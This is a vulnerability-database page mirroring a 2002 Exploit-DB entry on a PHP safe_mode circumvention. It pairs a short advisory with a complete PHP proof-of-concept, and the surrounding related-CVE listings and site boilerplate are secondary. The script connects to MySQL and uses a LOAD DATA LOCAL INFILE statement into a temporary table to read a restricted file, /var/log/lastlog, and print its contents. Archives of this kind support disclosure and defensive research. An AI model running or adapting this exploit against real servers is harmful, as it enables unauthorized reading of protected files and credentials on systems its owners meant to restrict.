Lucene search
+L

PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (1)

🗓️ 03 Feb 2002 00:00:00Reported by Dave WilsonType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 68 Views

PHP safe_mode circumvention allows unauthorized filesystem access through MySQL LOAD DATA statement.

Related
Code
ReporterTitlePublishedViews
Family
cve
CVE
CVE-2002-0229
3 May 200204:00
cve
cve
CVE
CVE-2004-0327
18 Mar 200405:00
cve
cvelist
Cvelist
CVE-2002-0229
3 May 200204:00
cvelist
cvelist
Cvelist
CVE-2004-0327
18 Mar 200405:00
cvelist
exploitdb
Exploit DB
PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (2)
3 Feb 200200:00
exploitdb
exploitdb
Exploit DB
PHP 4.x/5.x MySQL Library - 'Safe_mode' Filesystem Circumvention (3)
3 Feb 200200:00
exploitdb
exploitdb
Exploit DB
phpNewsManager 1.36 - functions Script File Disclosure
23 Feb 200400:00
exploitdb
euvd
EUVD
EUVD-2002-0226
7 Oct 202500:30
euvd
euvd
EUVD
EUVD-2004-0327
7 Oct 202500:30
euvd
nvd
NVD
CVE-2002-0229
16 May 200204:00
nvd
Rows per page
<?php
/*
source: https://www.securityfocus.com/bid/4026/info

PHP's 'safe_mode' feature may be used to restrict access to certain areas of a filesystem by PHP scripts. However, a problem has been discovered that may allow an attacker to bypass these restrictions to gain unauthorized access to areas of the filesystem that are restricted when PHP 'safe_mode' is enabled.

In particular, the MySQL client library that ships with PHP fails to properly honor 'safe_mode'. As a result, a user can issue a LOAD DATA statement to read files that reside in restricted areas of the filesystem (as determined by 'safe_mode').
*/

/*
   PHP Safe Mode Problem

   This script will connect to a database server running locally or
otherwise,
   create a temporary table with one column, use the LOAD DATA statement
to
   read a (possibly binary) file, then reads it back to the client.

   Any type of file may pass through this 'proxy'. Although unrelated,
this
   may also be used to access files on the DB server (although they must
be
   world-readable or in MySQLd's basedir, according to docs).
*/


$host = 'localhost';
$user = 'root';
$pass = 'letmein';
$db   = 'test_database';

$filename = '/var/log/lastlog';     /* File to grab from [local] server */
$local = true;                      /* Read from local filesystem */

$local = $local ? 'LOCAL' : '';


$sql = array (
   "USE $db",

   'CREATE TEMPORARY TABLE ' . ($tbl = 'A'.time ()) . ' (a LONGBLOB)',

   "LOAD DATA $local INFILE '$filename' INTO TABLE $tbl FIELDS "
   . "TERMINATED BY       '__THIS_NEVER_HAPPENS__' "
   . "ESCAPED BY          '' "
   . "LINES TERMINATED BY '__THIS_NEVER_HAPPENS__'",

   "SELECT a FROM $tbl LIMIT 1"
);

Header ('Content-type: text/plain');

mysql_connect ($host, $user, $pass);

foreach ($sql as $statement) {
   $q = mysql_query ($statement);

   if ($q == false) die (
      "FAILED: " . $statement . "\n" .
      "REASON: " . mysql_error () . "\n"
   );

   if (! $r = @mysql_fetch_array ($q, MYSQL_NUM)) continue;

   echo $r [0];
   mysql_free_result ($q);
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

11 Sep 2012 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.09249
68